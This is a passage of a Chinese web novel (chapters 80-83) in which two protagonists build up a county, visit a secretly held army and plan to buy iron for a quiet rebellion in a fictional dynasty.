“我哪有你说的这样可怕。”别此云眨动眼睛,一副无辜的表情控诉尚柒竟然怀疑他。 “你记着就是。”尚柒伸手碰了碰人的脸颊,“若人手不够,就给我说,等樊泊养好伤,我们再去军营走一趟。” “嗯。”到了此刻,别此云才略微有一种终于在造反的真实感。 也不知从平王那里偷来的军队,是否如他所想的一样厉害。 第80章 刚开春, 天气还冷的厉害,但县里好几处施工的地方,青壮都穿着轻薄的衣裳做活, 一点不见冷不说, 一个个浑身还冒着热气。 工地附近有一处棚子, 上摆了两口大锅, 里面烧着热水,若做工的谁渴了只管过来喝就是。 而私塾的选址也是妙,两处都是之前被抓富户的宅院,许多地方都不必大拆,改改就能用。 县外, 土路上也聚集了不少人手, 只是大多数瞧着就不像是干活的, 但远远看过去竟一个偷懒的都没有。 监工的人都是别此云手下的部曲,到了县城, 也不惧什么危险,这些部曲平日除去训练, 也难得找个事做, 就被派来监管囚犯。 别看这活看似轻松, 实则也需要点本事, 修路的囚犯都是男丁, 富户养尊处优的身材谋不了大事可以不管,但地痞无赖一个个游手好闲, 还喜欢偷奸耍滑,万一一个没看住跑了,还得派人在荒山野岭上找。 起先就有几个地痞偷摸溜出队伍,监管的部曲何等厉害, 只几个大跨步上前,就追上人把人撂倒在地,还罚了一顿饭,之后队伍就老实不少。 “这些囚犯的确不是干活的料,虽说公子有手段,叫他们不敢偷懒,但看这进度,想要把路修完得猴年马月去了。” “本也不指望他们修完路,这里面有多少是得砍头的,等长安那边批了大人的公文,都要送去长安,不过是想着人死之前废物利用一番罢了。” “倒也是,也不知大人和公子打算给多少工钱,如果跟修私塾的工钱一样多,县里村里的青壮只怕要抢着做。” 再一个给大人做事,是管饭的,不提顿顿大鱼大肉,但饭敞开了吃,管够。 甚至因为需用人烧火做饭,连带着还能给几个妇人郎君提供岗位。 孔郎君正是靠手艺在乡下私塾工地上谋到了一个做饭郎君的位置,要说打新县令来了过后,他们家的日子也是好起来了。 先是因为被逼卖田的事,县里给送粮食布帛当赔偿,后头县令来了,重新和他们这些佃户签了新契,租子只要两成,比原先少了三成,加上他们家有几亩地都打算用新县令教的法子种地,秋收除开秋税外,只需给县里一成租子。 更别说现在家里的青壮忙完春耕,混上了一份修房子的差事,他也跟着一块做,每日能得几十文的工钱,都不必等到秋收,家里就能攒出大郎的彩礼,好登媒婆的门说亲。 “县令送来的铁锅实在好用,这样多汉子的饭菜,两口锅就能解决,若是有钱了能在自家添一口该多好。” “这样大一口铁锅,不知道要用多少铁,打去年开始,铁就紧俏,一口这样的铁锅没二两银子下不来。” 二两在贵人眼里不过是眼皮子都懒得抬的数字,可在农户这里,都够给家里孩子娶媳妇了。 “要是后头县里还有活做,当家的去做几个月,咬咬牙也能攒出来。”孔郎君实在喜欢这样的大锅,可惜县里的铁匠铺至今都没卖的,他连去问个价格的机会都没有。 “比起铁锅,你还是多想想私塾的事,县令建这处地方说是给咱们孩子读书用的,也不知道是不是真的,就是真的到时候要收多少钱?”同村的娘子目光落在还在打地基的工地上。 念书乡下人家是想都不敢想的事,就是县里的富户,都不敢说认识多少字,实在是读书人金贵,书更金贵,一本书时下一两银子是要的,哪家手里有本书,都是当传家宝一样供着。 “尚大人不是说免费叫咱们孩子去读书吗?总不能是骗我们的。”孔郎君已经对尚大人深信不疑,只要不是尚大人叫他们一家送死,尚大人说什么就是什么。 “这谁说的准。”同村的娘子喃喃了一句,显然还将信将疑。 距离私塾修好,和礼县的教书先生过来还要一段时日,尚柒自然是不着急和县里的科普读书的事。 “西南少有养羊的,想要在西南开设娘子郎君做事的织坊,有些难度。” “西南没有,西北的羊却数不胜数,只要有商队肯去西北走一趟,带羊毛回来,织坊就可以开起来。”不管工业化什么时候能实现,先发展纺织业是必须的。 “西北少水,多半只能走陆路运输,如此成本就增加了不少。”别此云打着算盘,“不过西北羊毛的数量远远比过长安,薄利多销也还是赚的。” 长安的织坊其实是小打小闹,最关键的原因的还是长安附近的羊只有这么多,全给羊剃光了也不会多出多少。 “若不是广运帝盯着突厥,咱们也可以从西北绕后同突厥做一做羊毛生意。” “不怕被发现?” “就是被发现了也该要有证据才是,从西北向突厥收购羊毛有一个好处就是,西北也有羊,两者混杂,对方很难分出来究竟来自哪里。”以往羊毛都卖不出什么价,现在他出钱收购,就算西北那边的官府知道他和突厥做生意,肯定也会选择睁一只眼闭一只眼。 “看来你早有这个心思。”想想尚柒来长安之前都没打算造反,就已经有了胆大妄为的生意想法,看来人也不是那么安分。 “有是有,但我精力有限,尚家主要还是在西南经营药材生意。” “时下药材多是取自山野,无论常不常见,价格都不会便宜到哪儿去,人工种植药材的市场很庞大。” “这也是我为什么将大部分精力都投入到种植药材上。”药材是很重要的战略物资,两军交战,真死在战场的上的只占一部分,更多还是死在战后。 “只礼县的药材应该不足以满足我们的需求,清平县你准备种植药材吗?” “有这个打算,但前提是要百姓都该种双季稻,才能解放部分土地。”因为土地肥力不够,粮食产量有限,首要保证地里的粮食能养活更多人,再考虑其他。 “距离今年种稻还有两三月时间,你能趁这几个月收拢百姓的心,让他们信任你改种双季稻吗?”要农户改粮种,几乎是叫他们赌上一年收成。 “试试看。”尚柒微笑里透露出自信。 …… 汪氏一早起来收拾新家,东家说给他们安排住处,还以为是要等到了清平县再寻,没成想当日到清平县,就有人接他们到新房子。 还给了房契,只消他们签了字,房子就是他们的了。 房子里面的东西也一应俱全,连厨房锅碗瓢盆都是准备好的,可见东家极为贴心,都不需他们添置什么东西。 “要说咱们把长安的小院租出去,手里也有几个钱,还当来了西南要先花出去。” “我身上的伤好的差不多了,明日我想寻东家办差。”樊泊也知得了东家照顾,不说西南的住处,就是一路过来,给开的伤药都是极为贵重的,更不说当初救了他命的药丸。 “合该的,东家帮了咱们这么多,不好一直白吃白喝,家里你也瞧见了,什么都有,便是你走了也不消担心我们。” “嗯。”有东家在,他自然放心家里人在县里住,到了县里这些时日,也听得左邻右舍说过几场闲话。 都是说东家如何雷厉风行的肃清县里乱象,现如今娘子郎君上街,再不怕地痞流氓调戏,甚至以往的恶客都不敢冒头。 只是不知东家的军营置在何处,他去了军营该是轻易不能回来的,谋反的事他也不打算和家里人透底,免得她们担心。 到了第二日,樊泊主动请缨,尚柒和别此云没有不允的,正好县里的诸事上了正轨,又有宋月隐盯着,隔日就驾了马车去军营。 山道难行,马车虽顾忌着主子没跑那么快,却也颠簸的人不大舒服。 “幸好当初没走陆路。”别此云面色发白,长安的路都好走,即便是郊外也都是铺的平平整整,马车赶路也都走的缓。 “吃粒药压一压。”尚柒早有准备,他是常年在西南走惯了,即便最开始颠簸不适应,但天长地久下来,也渐渐不晕车了。 “不修路,山里的村落很难和外面沟通,生意也做不起来。”哪怕不舒服,别此云脑子里也闲不下来。 “西南多山,路不容易修,最好的法子还是叫他们搬迁出来,如今人口不过五千万,再多也能安置的下。”尚柒将人揽进怀里,叫人好受一些。 “只怕难办,故土难离。” “慢慢来,咱们也不能指望一口气吃个大胖子,我想着等清平县情况稳定下来,再插手黄谷县的事,等黄谷县也都是咱们的人,军营就不必过于遮掩。” “其实打个土匪的称号行动,一般官府也不会多管,各州府的府兵已经多年没有剿过匪,现在只要咱们不占领城池,想来官府也不会多管。” “占了城池也没什么,一两个县官府未必放在眼里,说不定只要给足孝敬,还叫土匪变成正个儿八经的官员。” “杀人放火金腰带,修桥补路无尸骸,自古如此。”别此云说着叹了口气,当皇帝求的是天下稳定,谁管百姓是否受了委屈,自古多少恶客最后招了安,摇身一变成了吃皇粮的武官。 “西南本是常年乱地,即便咱们现在打出旗号,只要不大张旗鼓宣扬,朝廷暂时没功夫管,我只在想广运帝心心念念想要和突厥开战,真要是一败涂地,突厥兵马入长安怎么办?”历史上又不是没有塞外兵马入关的经历。 “应当不至于,虽说朝廷内武将多徒有虚名,但兵力到底在那儿,突厥兵马真要是入了长安,各地其他驻军必会立刻被召集反攻。 过了函谷关,突厥的骑兵就不能发挥全部实力。” 骑兵在草原上一勇当先,但在中原境内难免束手束脚,再一个草原弓兵在山林地势也很难发挥最大用处,大历这头还有先祖留下的一点底子,不是完全没有反击之力。《 》 80-90 第81章 马车上了山, 在军营门口停下。 尚柒和别此云下马车后,军营门口等着的蔺肃就迎面过来。 “东家,可算是等到你了。” 尚柒听见蔺肃语气中的幽怨, 面露微笑:“军营的事, 辛苦你了, 今日过来我正是给你送人才来了。” 樊泊要跟他到西南的消息他一直瞒着, 蔺肃这头想必是不知情的,他知蔺肃是个文人,叫人担武将的担子的确强人所难了,但实在造反的心思起的匆忙。 若是打小他就有这个念头,眼下的情况必不会如此局促。 “什么样的人才?先前过来的禄石几人已经在军营中安顿下来, 如今军营训练也上了正轨。” 说来东家在长安撬来的墙角都是实打实有本事的军汉, 到了军营更是如鱼得水, 原五千兵丁里也有一些能干之人,合一块倒是将临时搭建的草台班子搞得像模像样。 “也是禁军出身。”尚柒不多解释, 只招了手,樊泊就上前站在蔺肃跟前。 要不说有一副好身板能唬住人, 樊泊能够在禁军比武一直取胜, 天生人高马大的块头必是取胜缘由之一, 更不说人在军中训练勤勉, 即便没有家传武艺, 凭借自己的本事也打出了一番天地。 再有樊泊身上天生就有一股能令人信服的气势,不然他在禁军不过管百来号军汉, 如何能叫禁军中其余底层兵丁心服口服。 “东家慧眼识珠,寻来的好汉个个都是英雄人物,军营里正缺一尊座山虎,今日便来了一位。”蔺肃眼中的赞赏压都压不住, 实在是东家寻来的人物,一看就不得了,他们这军营终于也要迎来一位正经将军级别的好汉了。 “管事客气了。”樊泊抱拳行了一礼,他不至于这么死心眼,人家夸他他还一声不吭。 “我姓蔺,单字一个肃,眼下主管营中大小琐事,只是奈何我是个文人出身,对武将诸事一窍不通,今日好汉过来,想来能替我分忧。” “蔺管事哪里的话,我名樊泊,不过先前在禁军营中有个不起眼的小职位,算不得什么好汉,有幸得东家青睐,今日入营,不敢说一定能替蔺管事你分忧,但在下会竭尽全力做好本分的事。” 尚柒和别此云站在一旁见二人奉承,最后忍不住笑出声。 “营外不是说话的地方,何不进营见一见兵马如何,再谈其他。”别此云率先开口,打断了二人的谈话。 “不错,营中有不少樊泊里从前禁军的熟人,虽说分别不过几月,但想来也是念着的。” “东家和别公子所言极是,倒是我招待不周,樊兄弟请跟我来。”蔺肃请人进营。 尚柒和别此云走在前头,目光打量军营的构造,蔺肃不曾在军营中做过事,但他手里的人不少是西北边军退役的兵丁,对军营内部构造再清楚不过。 为此一眼看去,军营也极为正规,尚柒和别此云对军营之事知道的少之又少,就算有也是他们那个时代的军营,跟眼下大有区别。 做事最忌讳外行指导内行,所以二人只看不言,路遇巡逻的兵丁,见着二人身后的蔺管事,也都只敢好奇的瞧一瞧,可见军纪还不错。 “东家和别公子在军营露面,也正好叫营中兵丁知道谁是主将。”他们这支兵本就是打着造反的旗号,也不必瞒着下面的兵丁。 “由你安排就是,这次我和此云过来,也带来了一些酒水,可以给诸位兄弟分发下去,若没有任务夜里可开了酒坛喝一些。” 军营禁酒是历来的,但尚柒也知道营中枯燥,有时候可以给人放松片刻,又非战时不必时时绷着弦。 “近来周围的山匪都被剿空,想要动兵就需要去其他地界,但我想着眼下咱们还不到在人前显露的时候,就没放他们出营。 东家送来的酒水正是时候,先前他们大胜归来苦于营中酒水有限,没叫他们庆祝,今日开了酒,正好当是剿匪获胜的庆功酒,我再吩咐人去厨房一趟,叫伙房的伙食也多做些。” “嗯。”尚柒对这个安排没意见。 到了营帐,蔺肃先汇报了军营的情况,五千精兵,平王是花大价钱养着的,偷到山上之后,因为物资源源不断的从长安和礼县送过来,也没苦过这些兵丁,瞧着个个都是精兵强将,必不是上了战场就腿软的软脚虾。 “只是粮草物资消耗的很快,衣裳都是从礼县送来的不必说,但肉食这类只能在附近采买,冬日还好,能放的久,到了夏日只怕是不成。” 什么东西一口气采买多了,都很容易被人发现端倪,蔬菜还好,可以在山上开垦出几亩梯田自己种,大部分蔬菜都生的快,能供应的上营里需求,肉类就不成了。 虽说顿顿大鱼大肉不现实,可练兵是苦差,一点油水都不给很难养出好体格,先前采买都是零散去附近各个县城村庄采买,方没叫人察觉,但长此以往是不成的。 “这事我记下来,之后会在县里安排养殖的事,短时间内还是进行采买。” “是。” 之后又说起军营中遇到的零碎小事,有的尚柒和别此云当场给了解决办法,有的却还是要等一等。 樊泊中途就被禄石等人请走了,要说樊泊虽没有官职,但在禁军营中一向仗义,人本事又够,且没有背景压人,但凡不是妒才者,都能与之交好。 禄石这些军汉也都是没能往上爬的寻常兵丁,自然没有不佩服樊泊的。 “樊大哥,先前还说日后咱们指不定要在战场相见,没成想你竟也来了西南。” “机缘巧合罢了,再说真在战场上见面,我不过是军营中拿长矛的一员,只怕比不得和你们领军作战。” 这话自然不是说樊泊没有领兵作战的本事,实在是禁军没有他出头的机会。 “可是军营中升迁的事出了什么变故。”另一个军汉关切的问,他们走的时候都知道樊泊要升迁。 “几月前,营中来了一队江南过来的兵丁,数目不小,原先说好升职的事就不了了之了。”其实也不是不了了之,新来的兵丁得皇帝信任,原本军中官职必要分一些给新来的人,好稳定军心。 樊泊苦熬多年的机会终究是比不上世事变迁,若非担心家里人,得知升职无望他就要投尚东家,只身过来西南。 哪想后面兜兜转转,最后还是阖家来了西南。 “哼,禁军那群喝兵血的蠹虫,早晚都要遭报应,樊大哥,来了此地就不要再想长安的事,我等在营中几月,已然得到重用。 时下军队,讲究唯才是用,依照樊大哥的本事,必然是能够做到这只军队将军的位置。” “不错,樊大哥在禁军中就已经崭露头角,若不是小人作祟,早得了副尉的官职,现来了此地,必能一飞冲天,咱们兄弟几个也跟着沾沾樊大哥的光。” 樊泊心下一暖,从前都是在禁军共事,也知道诸位兄弟的性格,并非趋炎附势之人,眼下能说出这番话,必是认可他的本事。 “多谢诸位兄弟,我既来了西南的确是要做出一番事业的,不然杀头的风险岂非是白冒了。”都选择造反了,樊泊自然是想着能够站到最后。 “樊大哥说的不错,想来蔺管事和东家他们必要说上几个时辰要事,咱们就先带樊大哥去认认军中的人,这会演武场正有不少好手在比武,樊大哥且上场,杀一杀他们的威风。” “不错,咱们几个拳脚功夫虽然看得过去,但比不上樊大哥,等到了演武场,樊大哥且使出全力,给人瞧瞧咱们禁军出身的厉害。” 樊泊没吭声,只跟着禄石他们去了演武场。 这时候演武场上正热闹,不少兵丁比划的热火朝天,按规矩是不好轻易伤人的,大家伙也都有分寸,但有时候难免打上头,如此各小队的队长就得出面阻止。 毕竟比武为的是增长经验和发泄精力,不是为了伤和气。 禄石一行人一过来,就受到了热烈欢迎,毕竟禄石等人也是演武场上的常客,不少兵丁多喜欢和他们对打,能从中学到不少东西。 而今日禄石身后跟了个生人,也不做军营打扮,但能在营中行走,想来不是外人。 “禄石,你且上来,上回咱们还没分出个胜负,今日可别又逃了。”演武场上的人瞧见禄石他们,不客气的招呼。 “我什么时候逃跑过,但今日我不上场,且叫我身边的兄弟来。”禄石说着环绕演武场一圈,“这是我从前禁军的同僚,今日起也是自家兄弟了。” “在下樊泊,是个粗人,初来乍到,还请诸位兄弟日后多关照。”樊泊也不扭捏,知道禄石是在向军营诸位介绍他。 “在场的哪个不是粗人,樊兄弟客气了,既然樊兄弟也是禁军出身,想来身手差不了,今日必须上场和咱们比划比划。” “却之不恭。”樊泊抱了个拳,就走向刚才吆喝的汉子跟前,对方见樊泊爽利,也不客气,立马摆好姿势,打算攻过去。 “你这心眼也太坏了,樊大哥上去,哪还有能站着的。”一旁的军汉小声跟禄石说话。 “谁叫他平日动不动就说我是逃兵,这人身手不差,但喜欢玩无赖,我不爱和他打,却又免不得听他多嘴,就得樊大哥上去帮我教训教训他。”禄石抱拳在胸,瞧着演武场上不过三两招就倒地的军汉,露出快活的笑容。 第82章 是夜。 因为晚上开庆功宴的缘故, 尚柒和别此云便打算在营中留宿一宿,庆功宴尚柒和别此云只消露面说说话即可,主要还是叫将士们敞开了吃喝。 夜里酒水分到每人手里, 其实不多, 两三碗罢了, 但都是好酒, 滋味差不了,不少汉子喝了酒,片刻功夫就面红耳赤,可见也是吃不得酒水的。 樊泊下午一场比武,几乎是打遍了演武场上的人, 如此实力, 营里再没不服他的。 “之后军营, 就交给蔺肃和樊泊负责了吗?”别此云夜里睡不着,在床上同尚柒说话。 “差不多, 但蔺肃更适合做文职,军营的人还需要培养。”至少将官级别要把字给认全, 不认公务都看不懂, 岂不是个睁眼瞎, 兵丁也得把常用字学会。 “或许咱们可以打一打西南边军的主意。”从头培养有好有坏, 眼下他们用人急, 自然需要两手抓,自己培养新人的同时, 也得看看能不能寻到合适的外人,再进行拉拢。 “不成,西南边境比不上西北,因为常年无战, 里面很乱。”看西南将军都被糖衣炮弹腐蚀,就知整个军队是什么样。 “一个沧海遗珠也没有?” “就算有,也多被同流合污裹挟,与其在这上面费心思,不如放在西南境内的府兵身上。” “府兵零散,想要打听消息,没那么容易。” “别忘了我也算是西南的地头蛇,打听消息这一块且放心交给我。”尚柒难得自负,尚家不能说在西南一家独大,但因为经营药材生意,各地方的地头蛇也都愿意给他三分薄面,办事很方便 “有你这句话,没有我不放心的。”别此云说着打了个哈欠。 “困了就睡,明日咱们还要驾车回县,路上你可没机会补觉。”山路难行,即便此云躺在他怀里,依旧会被颠簸的不能入睡。 “嗯。”别此云小声应了一句,一小会过后,呼吸声就渐渐平缓。 尚柒偏头瞧着人睡着的模样,屋里的烛火不算明亮,打在人脸上明明暗暗,但凭借这点微光依旧将人看的一清二楚。 从长安到西南,一路上有他照看,此云不曾生病,但面容少不得消瘦了些,到了清平县,他们也没功夫歇息,说要好好将人补一补,也没成。 尚柒伸手撩拨人额间的碎发,见人轻微动弹了一下,便不再扰人清净,继而也闭上眼睛,感受身边另一个人温暖的体温,沉沉睡去。 …… “怎么清平县要什么没什么,幸好我过来的时候就想着万一没有,多带了些做饭用的东西,不然单个人过来,我也要发愁如何给东家做饭。” 胡娘子从礼县赶过来,连歇息的功夫都没有,就去了东家的厨房,瞧见厨房要什么没什么,满脸愁容。 “胡娘子且放心,如今东家和别公子初来此地,自然什么都还没准备好,等过些日子,东西就从礼县运过来了,保管少不了做饭用的调料。”宋月隐也是吃了几年胡娘子做的饭,过来清平县这段时日,没吃到胡娘子的手艺,还想的紧。 幸好东家也念着胡娘子的手艺,将人请到了清平县来。 “那得什么时候去了,东家信里说,东家夫郞打长安过来清减了不少,央我多做些好吃的给东家夫郞补一补,这再滋补的东西,味道不好,如何叫人能吃的下去?” 胡娘子一边说一边整理她从礼县带来的瓶瓶罐罐,这些都是救命的宝贝。 “这事且等东家回来,你和东家说道说道,保管不出几日功夫,东家就能帮你办妥贴。” 胡娘子闻言,点头,看来东家夫郞很得东家喜欢,也是,若非是东家真心喜欢,为何去了一趟长安就成亲了? 若说攀龙附凤,可东家这头才成亲,怎么又回西南做了个不起眼的小县令,在寻常人家眼里,县令的确高不可攀。 但她们这些礼县出身的百姓,哪个不晓得尚东家的话比县令有用,毕竟县里大部分人家都靠尚家吃喝,真出了什么事,寻尚家出面解决,比击鼓鸣冤还管用。 “我瞧着府里有不少人走动,但都是生脸,可是东家夫郞那边的人?”胡娘子到底没见过东家夫郞,也不知人是个什么性,想着不能得罪。 “是,不过他们做事规矩,也不多话,东家夫郞手里的产业比咱们东家都多,平日里东家夫郞也忙,少有能见到的时候。” 宋月隐这段时日也是见识了别公子的产业,听得东家的话,这些产业全全是别公子自己经营的,没靠过别家。 要说宋月隐在礼县帮着东家做事,自认为也做出了一番成就,但和东家夫郞一比,就是小巫见大巫了。 自然了,别公子起家银子肯定比她多,但她在别公子的位置,还真干不出这样一番事业,说不得就随大流,世家出身,整日吃喝不愁,到了年纪选个合适的儿郎嫁出去,之后再生几个孩子,算是世家大族出身娘子郎君的流程。 “东家喜欢的人,肯定差不了。”胡娘子这话也不是恭维,她眼瞧着在礼县,也不是没有好看的姑娘哥儿对东家倾心,但东家顶多对一些有本事的姑娘哥儿另眼相待,就如宋姑娘。 可这样多她瞧着都极好的姑娘哥儿也没叫东家动心,就晓得东家要求高,之后东家生意做到了满西南,各地豪强家的千金公子,也有想和东家结亲的,东家无一例外都拒了。 能叫东家心甘情愿求娶的哥儿,必是天下间顶好的郎君。 “是这个理,正午的时候东家该回来了。”宋月隐提醒。 “诶唷,你不说我都要给忘了时辰,可得快快生火。”胡娘子一拍脑门,就开始招呼厨房里的帮厨涮锅洗菜。 她自个儿拿着礼县铁匠打的剔骨刀,开始解街上买来的猪肉。 可惜了二小姐和三公子不在,说是念着礼县的朋友,由德顺守义领着和商队一块回了礼县,正巧和她错过了。 也不晓得两个小的回了礼县,发现她不在会不会失望。 —————————— 长平村。 尚南枝和尚乌桕一进村子,相熟的村里人纷纷过来打招呼,本不到一炷香就能到家的路程,硬生生走了小半个时辰。 关键是怀里还被塞了不少蔬菜,都是地里刚采来的,新鲜的很。 “幸亏宅子没建在村子最后边,不然咱们压根走不回来。”尚乌桕努力抡起小胳膊搬菜。 “咱们一走近一年时间,村里阿叔阿婶念着也正常,路上不是还遇上了好些个你学堂的玩伴邀你上山玩吗?” 按说,她和乌桕在家里有阿兄教导,进度比学堂的孩子不知快了多少,但阿兄依旧要她们去学堂上课,说是哪怕不学东西,多结识一些朋友也是好的。 这不,整个村子,同龄的孩子基本都和她们玩的不错。 “唉,我也想立刻跟他们出去玩,但从长安赶路回来,我真的需要休息休息了。”尚乌桕少年老成的叹气。 “小小年纪,装什么老头子,赶紧搬完东西,咱们就去休息。” 尚府修的不小,平日里许多管事也都在尚府前院办事,这会子正是上值的时候,两个小的也不打算去打扰,就从后面进的。 送他们回来的德顺哥和守义哥到了村口,也要回自己家,其实到了礼县,基本就不必人送他俩了。 但又怕有打尚家主意的,万一起了坏心思将两个小的绑了,要挟东家可就麻烦了。 毕竟村里原本跟东家有亲的几家,就不是什么好东西,先前东家使过手段,叫他们老实了一阵,但瞧着东家蒸蒸日上,保不准会生什么事。 “德顺回来了,东家可有跟着回来?”德顺一到家,他娘就倒了热水过来,往前几年家里喝的都是冷水,但东家叫教书先生给孩子们科普,说是喝生水容易得病,慢慢的大家就把习惯改过来了。 “没,东家在清平县,一时半会不会回来,我也是趁着送二小姐和三公子顺道回家里看看。”德顺一早回来,身上还冒着寒气,一碗热茶可是救了命,“娘,我走了这么久,家里可还好?” “好着呢,几个小的在学堂得了先生夸奖,我想着日后咱们要不要把他们送去县里的私塾在多读读书。”不说叫他们考官,但书读得多总不会错。 看东家,就是因为博览群书,才有了今日的成就。 时下长平村,谁不羡慕尚老大祖坟冒了青烟,得了这么有出息的儿郎,也是尚老大和他媳妇命薄,没享到福就走了。 但二人若在天有灵,瞧着自己孩子这样出息,再没合不拢眼的。 “若是弟弟妹妹有这个天赋自然要送的,银钱的事不必操心,我有。” “钱哪里用操心,不说你,就是我每月都拿着东家给的月例,一家子吃喝除开,也还有结余,只是想着你大妹年纪不小了,就是念书也顶多再念一两年,到时候你说是叫她去东家哪个坊做事。” “娘,时下东家在清平县,我想着大妹若是真能得东家看重,最好去清平县做事。” 第83章 礼县是尚家的根基, 论发展自然是不差的,就说如今清平县定然都是不如礼县好。 奈何礼县位置偏僻,属于大历边境, 看东家打算慢慢往中原发展, 想必礼县多半不会久留。 若说只求在礼县安稳度日也就罢了, 可跟在东家身边多年, 哪个还没上进心,再一个东家虽然没说,但东家身边的亲近也隐约猜到东家的打算。 天大的好机会就在眼前,若不抓住,日后子孙怕也难有出头的机会。 长安走一趟, 跟去的汉子都算开了眼界, 德顺就想着东家真要成了事, 他总是要跟着东家去长安的,自然不能把家里人留在礼县, 再说兄弟姊妹也都有出息,东家能用的上。 “清平县, 怎么个说法?”德顺娘显然没想到大郎会送他妹妹去这么远的地方。 “娘, 你也说教书先生时时夸奖大妹, 说明大妹比我有本事, 如今留在礼县, 好一些的能进尚府做管事,差一些的只能去坊里做事。 东家眼下是打算在清平县发展, 大妹若是能过去帮东家做事,前途肯定比留在礼县强。” 要是东家换个人,德顺肯定是不开这个口,毕竟大妹是姑娘, 得谁照拂也不如自家人看着,万一出门吃了亏他们一家子还隔老远帮不上忙。 可东家什么人,礼县的都清楚,那怕是把家里三岁孩子交给东家带出门,也都是放心的。 “清平县虽然也在西南,但从咱们这儿过去,也少不得七八日车程。”德顺娘倒不是不接受孩子离家,德顺跟着东家,一年到头落家的时候也不多,可是姑娘家去那么远,她如何放心的下。 “娘要是不放心,到时候且跟着一块去清平县就是,等我送二小姐三公子回去,基本也没工夫回来,家里只你一个管事,其余几个小的又还没立起来,真要出了事我还赶不回来,不若一家都去清平县的好。” “如何就要搬去清平县了?你小子且说说,是不是瞧上清平县的哪位姑娘哥儿,人家不愿意跟你回礼县,就撺掇一家子跟着你去清平县?”德顺娘目光锐利,像是要把人盯出个窟窿。 “娘哪里的话,我跟着东家满天下的跑,哪有功夫认识什么当地的姑娘哥儿,只这回你且听我的,不管娘你打不打算阖家去清平县,若想大妹出息,就不能留人在礼县。” 东家要办的大事他不敢声张,就怕走漏了风声。 德顺娘一时哑言,缓了一会:“你跟着东家,见识肯定更多,既然你说你大妹去清平县更好,我信,等下了学,我再问问她的主意,她要是也愿意去,我不拦着。” 儿女想要有出息,她这个做娘的反倒要拦路,那不成拖后腿的,再一个东家就在清平县,大妹真去了,她也放心东家能保证人的安全。 “诶。”德顺露了笑。 和德顺一样聪明的人不多,但也有那么几个,一时间学堂里有出息的孩子,都被家里过问要不要去清平县做事。 “王管事,这是愿意去清平县读书人的名额。”礼县的教书先生拿着一份单子,送到王成思手里。 “竟有这么多愿意去的?”王成思收到东家的信,还道不少人故土难离,想着私下劝一劝一些人,没成想只在私塾过问了一番,就有不少人愿意去。 “王管事这就有所不知了,虽说故土难离,但这是东家求人,大家伙也都是看着东家一步一步走到今天的,跟着东家做事准没错。 如今县里人手虽还没饱和,但往上走已经没多少位置了,年轻人心气高,眼下去清平县有好机会,如何还愿意留在礼县蹉跎。” “倒是我小看了这些年轻人。”王成思嘴上说着年轻人,其实自己年纪也不大,前年刚及冠。 奈何东家手里做事的管事,一个比一个年轻,他这样的年纪对比之下,也难免老了些。 “王管事,这些人可够,不够我再登几家门说说。”答应要去的不少,摇摆不定的也不少,真要劝肯定还能劝一些人答应的。 “不必,第一批人肯定够了,余下的且等东家送信要第二批再安排。”凡事讲究个循序渐进,王成思确信东家需用很多读书人,但不可能一口气全要了去。 “那成,王管事定下,明日我就跟学生们说说,叫他们准备行礼,等着商队送他们去清平县。” “嗯,先生且去忙吧。”王成思摆手,其实说不得下回他都要跟着去清平县帮东家办事,礼县终究不是龙腾之地。 …… “西南铁矿不少,但大部分都在朝廷手里,咱们暂时不能和朝廷对上,可想要靠自己寻到矿脉开采,又不是容易事。”别此云打军营回来之后,就一直关心铁的问题。 眼下军营五千兵丁是着了轻甲的,都是同人一块从平王手里偷来的,如今用的兵器也是。 想要养兵,光人不够,上了战场,手无寸铁,不是送菜么。 “以前没想过起兵,所以我手里没有铁矿,不过西南各豪强私下都有精铁来源,不能和朝廷做交易,只能试试走豪强的路子。” “各地方豪强私下互有联络,咱们只向一家购铁也就罢了,但若是家家都找,他们必会察觉。” 或许地方豪强察觉后,不会向朝廷揭发,说不得还想着掺一股当投资,但别此云眼下不太想和地方豪强打交道。 此刻他和尚柒的根基不够稳,同地方豪强交手容易处下风,这时候地方豪强要是拿到主动权,他们反还没造,就先要想着内斗。 “可以不用咱们的名头,此云别忘了,官营铁器打去年开始就紧缺,西南情况好一些,但铁匠铺依旧不可能无限量供应。” “你是说,冒充朝廷的人马,私下向地方豪强收铁。” “怎么能算冒充,别忘了我现在就是朝廷的人。”好歹是正经授官。 “这招太冒险了,地方豪强虽说在地方经营,但难保没有和长安有联系的人家,若人怀疑,去信过问长安那边怎么办?” “所以咱们还得再做一层伪装,西南有平王的封地,就算地方豪强去信长安,知道咱们不是替广运帝求铁,也有平王替咱们背黑锅。” 平王是皇子,私下收铁打算干什么,地方豪强不必问都知道。 别此云轻笑,这主意是好,就是有些阴损。 “那铁器的去向得隐藏干净。”只要证物没有,平王就是知道有人打着他的旗号私下收铁,也只能哑巴吃黄连。 “这个放心,西南多山,比起平坦的中原,更适合做些见不得人的生意。”且西南水系也不少,上了船基本就很难追踪。 别此云点头,不过和地方豪强交易铁器,恐怕也不能长期进行,只能解燃眉之急,更重要的还是有自己的矿脉才成。 须得抓紧时间寻几个会看矿脉的匠人,看看清平县附近是否有铁矿。 县衙门。 尚柒说要收拾衙门里的人,自然没叫宋月隐多等,从县丞到下面的捕快,基本该下狱的下狱,该辞退的辞退。 如今县里都是宋月隐临时带来的人撑着,不过她过问过手下的人,没几个是愿意在清平县就任,主要是手里的人个个都是人精,晓得东家不会在清平县一直蛰伏,真要是留在清平县做事,也有往上升的机会,但哪比得上跟着东家手边的管事来的快。 如此县里的位置还是要重新招人手,捕快什么的都好说,文书方面就需要本县识字的人担任。 而县里大部分识字的都在牢里,实在是整个大历认字的人数大概在百分之六,而这百分之六里大部分都是世家豪强出身,再不然也都是富贵之家,寻常百姓多是文盲。 “告示贴出去,连能读告示的人都没几个,县里文职想要招满只怕难了。”不怪宋月隐叹气,实在是在礼县待久了,出门发现基本全都不认字是件残酷的事。 难怪东家一来清平县,就开始修私塾,怎么也要把认字的事给解决了。 “县里富户不是还有几家没被抄家?” “东家,这几家虽然犯的都是小事,但也足以证明品行不成,真要收了,对百姓说不过去啊。”也是县里作恶多端的富户多了,才叫东家心善,其余几家都被轻拿轻放了过去。 “那就去隔壁县看看,有没有人愿意过来,若是没有,还是问问这几家富户有没有愿意上值的。” 非常时期,非常对待,实在不成,就只能先让他们的人撑一阵。 “隔壁县和清平县大差不差,百姓多也不认字,招也只能招富贵人家,虽说咱们的人没去黄谷县调查,但天下乌鸦一般黑,肯定没几个干净的,还不如就用县里几家,好歹这几家没闹出过人命。” 尚柒但笑不语,他就是这个意思。 